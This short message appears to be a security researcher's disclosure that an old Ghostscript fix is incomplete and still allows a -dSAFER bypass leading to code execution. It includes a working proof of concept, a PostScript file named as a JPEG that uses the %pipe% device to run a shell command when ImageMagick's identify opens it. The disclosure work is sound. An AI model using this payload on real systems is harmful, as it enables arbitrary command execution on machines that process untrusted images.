I also took a look a copule weeks ago at few of the patches for your previous bugs from 2 years ago, and found that one of them is incomplete and still allowing RCE (https://bugs.ghostscript.com/show_bug.cgi?id=697178) POC: ------------------ $ cat poc.jpg %!PS << (ICCProfilesDir) (%pipe%id > /dev/) >> .setuserparams currentdevice null true mark /OutputICCProfile (tty) .putdeviceparams showpage $ identify poc.jpg uid=1000(amit) gid=1000(amit) groups=1000(amit) After reviewing all of the comments in the original bug report I saw that you actually mentioned this issue, but it was not taken under consideration/forgotten for some reason. So effectively a public RCE PoC has been avaliable for GhostScript for almost 2 years. I opened a report two weeks ago at bugs.ghostscript.com: 699623 Incomplete fix for #697178 Allowing -dSAFER bypass But I got no response from them until today. If you have others channels of contact with them please let them know about this one too.
